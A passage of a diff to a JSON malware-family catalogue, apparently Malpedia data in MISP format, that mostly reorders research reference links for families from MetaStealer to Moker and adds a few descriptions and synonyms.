for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.", + "description": "On March 7, 2022, KELA observed a threat actor named _META_ announcing the launch of META \u2013 a new information-stealing malware, available for sale for USD125 per month or USD1000 for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer", - "https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/", + "https://medium.com/walmartglobaltech/metastealer-string-decryption-and-dga-overview-5f38f76830cd", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", "https://www.accenture.com/us-en/blogs/security/information-stealer-malware-on-dark-web", "https://ke-la.com/information-stealers-a-new-landscape/", - "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", "https://research.nccgroup.com/2022/05/20/metastealer-filling-the-racoon-void/", - "https://medium.com/walmartglobaltech/metastealer-string-decryption-and-dga-overview-5f38f76830cd" + "https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/" ], "synonyms": [], "type": [] @@ -33423,12 +35004,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.meteor", - "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/", - "https://twitter.com/_cpresearch_/status/1541753913732366338", + "https://threatpost.com/novel-meteor-wiper-used-in-attack-that-crippled-iranian-train-system/168262/", "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://twitter.com/_cpresearch_/status/1541753913732366338", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://threatpost.com/novel-meteor-wiper-used-in-attack-that-crippled-iranian-train-system/168262/" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/" ], "synonyms": [], "type": [] @@ -33441,43 +35022,46 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter", - "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", - "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", - "http://schierlm.users.sourceforge.net/avevasion.html", "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://asec.ahnlab.com/ko/26705/", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", - "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "http://www.secureworks.com/research/threat-profiles/gold-franklin", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", - "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", - "https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence", - "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://blog.morphisec.com/fin7-attacks-restaurant-industry", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "http://www.secureworks.com/research/threat-profiles/gold-winter", - "https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", - "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", - "https://redcanary.com/blog/getsystem-offsec/", - "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", - "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", - "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", - "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", + "https://asec.ahnlab.com/en/53046/", "https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", + "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", + "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://asec.ahnlab.com/ko/26705/", + "https://www.cisa.gov/sites/default/files/2023-09/aa23-250a-apt-actors-exploit-cve-2022-47966-and-cve-2022-42475.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "https://explore.group-ib.com/htct/hi-tech_crime_2018", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://blog.morphisec.com/fin7-attacks-restaurant-industry", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "http://www.secureworks.com/research/threat-profiles/gold-winter", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", - "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/" + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", + "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", + "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", + "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", + "http://schierlm.users.sourceforge.net/avevasion.html", + "https://redcanary.com/blog/getsystem-offsec/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence", + "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx", + "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", + "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", + "http://www.secureworks.com/research/threat-profiles/gold-franklin" ], "synonyms": [], "type": [] @@ -33490,10 +35074,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mevade", - "https://www.youtube.com/watch?v=FttiysUZmDw", "https://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor-network-overload/", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/", + "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" ], "synonyms": [ "SBC", @@ -33521,12 +35105,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot", - "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", - "https://twitter.com/GossiTheDog/status/1438500100238577670", - "https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/", - "https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf", "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware", - "https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s" + "https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/", + "https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/", + "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt-attacks-telecoms-africa-mgbot", + "https://twitter.com/GossiTheDog/status/1438500100238577670", + "https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s", + "https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf" ], "synonyms": [ "BLame", @@ -33568,13 +35154,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor", "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", - "https://github.com/cr4sh/microbackdoor", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/", "https://cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/", - "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://cert.gov.ua/article/37626", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", + "https://github.com/cr4sh/microbackdoor", + "https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", "https://ti.qianxin.com/blog/articles/Analysis-of-attack-activities-of-suspected-aptorganization-unc1151-against-ukraine-and-other-countries/" ], "synonyms": [], @@ -33588,20 +35174,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin", - "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", - "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", - "https://securelist.com/microcin-is-here/97353/", - "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", - "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", - "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/", "https://securelist.com/microcin-is-here/97353", + "https://github.com/dlegezo/common", + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", + "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf", + "https://securelist.com/microcin-is-here/97353/", "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://github.com/dlegezo/common" + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636", + "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf" ], "synonyms": [], "type": [] @@ -33614,13 +35200,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.micropsia", + "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf", "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/", - "https://blog.talosintelligence.com/2022/02/arid-viper-targets-palestine.html", "https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/micropsia_apt_c_23.md", - "http://blog.talosintelligence.com/2017/06/palestine-delphi.html", "https://research.checkpoint.com/apt-attack-middle-east-big-bang/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks", - "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf" + "https://blog.talosintelligence.com/2022/02/arid-viper-targets-palestine.html", + "http://blog.talosintelligence.com/2017/06/palestine-delphi.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks" ], "synonyms": [], "type": [] @@ -33633,8 +35219,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.midas", - "https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants", "https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/", + "https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants", "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/" ], "synonyms": [], @@ -33661,8 +35247,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.milan", - "https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/", - "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf" + "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", + "https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/" ], "synonyms": [], "type": [] @@ -33688,9 +35274,9 @@ "meta": { "refs": [ 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"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east", + "https://www.ic3.gov/Media/News/2021/210527.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", + "https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://www.cisa.gov/sites/default/files/2023-09/aa23-250a-apt-actors-exploit-cve-2022-47966-and-cve-2022-42475.pdf", + "https://www.slideshare.net/yurikamuraki5/active-directory-240348605", + "https://www.f-secure.com/content/dam/f-secure/en/consulting/our-thinking/collaterals/digital/f-secure-consulting-incident-readiness-proactive-response-guide-2020.pdf", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", + "https://www.intrinsec.com/apt27-analysis/", + "https://attack.mitre.org/groups/G0096", + "https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", + "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", + "https://unit42.paloaltonetworks.com/trigona-ransomware-update/", + "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://paraflare.com/attack-lifecycle-detection-of-an-operational-technology-breach/", + "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", + "https://www.infinitumit.com.tr/apt-35/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-152a", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.accenture.com/us-en/blogs/security/ransomware-hades", + "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html" ], "synonyms": [], "type": [] @@ -33886,12 +35475,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.minebridge", + "https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat", "https://www.bleepingcomputer.com/news/security/windows-finger-command-abused-by-phishing-to-download-malware/", - "https://www.zscaler.com/blogs/security-research/return-minebridge-rat-new-ttps-and-social-engineering-lures", - "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html", - "https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism", "https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/", - "https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat" + "https://www.zscaler.com/blogs/security-research/return-minebridge-rat-new-ttps-and-social-engineering-lures", + "https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism", + "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html" ], "synonyms": [ "GazGolder" @@ -33919,15 +35508,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniduke", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", - "https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf", "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://research.checkpoint.com/2022/native-function-and-assembly-code-invocation/", + "https://cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/", "https://www.fireeye.com/blog/threat-research/2013/02/its-a-kind-of-magic-1.html", + "https://www.secureworks.com/research/threat-profiles/iron-hemlock", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://www.secureworks.com/research/threat-profiles/iron-hemlock" + "https://research.checkpoint.com/2022/native-function-and-assembly-code-invocation/", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/" ], "synonyms": [], "type": [] @@ -33966,10 +35555,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage", - "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", - "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", "https://www.secureworks.com/research/threat-profiles/bronze-palace", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" + "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf" ], "synonyms": [], "type": [] @@ -33995,16 +35584,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai", + "https://twitter.com/PhysicalDrive0/status/830070569202749440", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot/", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack", "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", "https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/", - "https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack", - "https://twitter.com/PhysicalDrive0/status/830070569202749440", - "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - "https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html", - "https://assets.virustotal.com/reports/2021trends.pdf" + "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/" ], "synonyms": [], "type": [] @@ -34013,15 +35602,15 @@ "value": "Mirai (Windows)" }, { - "description": "", + "description": "According to Minerva Labs, MirrorBlast malware is a trojan that is known for attacking users\u2019 browsers. It usually pretends to be a legitimate browser add-on however it has now evolved additional capabilities, whereby other malwares are installed simultaneously. Recently, this trojan is thought to have tentative links to TA505 and PYSA groups.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast", - "https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant", "https://www.proofpoint.com/us/daily-ruleset-update-summary-20210924", "https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies", - "https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/", - "https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/" + "https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant", + "https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/", + "https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/" ], "synonyms": [], "type": [] @@ -34075,8 +35664,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha", - "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html", - "https://bazaar.abuse.ch/sample/efab8bfe43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/" + "https://bazaar.abuse.ch/sample/efab8bfe43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html" ], "synonyms": [], "type": [] @@ -34085,15 +35674,15 @@ "value": "Misha" }, { - "description": "According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald’s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.", + "description": "According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald\u2019s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu", - "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/", - "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/", - "https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/", - "https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/#.YyXEkaRBzIU", "https://blog.scilabs.mx/cyber-threat-profile-malteiro/", + "https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/", + "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/", + "https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/#.YyXEkaRBzIU", + "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/mispadu-banking-trojan-resurfaces" ], "synonyms": [ @@ -34109,10 +35698,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak", - "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia", - "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/" + "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/", + "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia" + ], + "synonyms": [ + "HIUPAN" ], - "synonyms": [], "type": [] }, "uuid": "1e6bc052-73de-453d-ba6c-658c82fe21d4", @@ -34225,13 +35816,13 @@ "value": "MoDi RAT" }, { - "description": "ModPipe is point-of-sale (POS) malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions. ", + "description": "ModPipe is point-of-sale (POS) malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS \u2013 a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them \u2013 named GetMicInfo \u2013 contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe", - "https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data", + "https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/", "https://www.kroll.com/en/insights/publications/cyber/modpipe-pos-malware-new-hooking-targets-extract-card-data", - "https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/" + "https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data" ], "synonyms": [], "type": [] @@ -34244,8 +35835,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.modpos", - "https://www.fireeye.com/blog/threat-research/2015/11/modpos.html", - "https://twitter.com/physicaldrive0/status/670258429202530306" + "https://twitter.com/physicaldrive0/status/670258429202530306", + "https://www.fireeye.com/blog/threat-research/2015/11/modpos.html" ], "synonyms": [ "straxbot" @@ -34287,9 +35878,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moker", "http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network", - 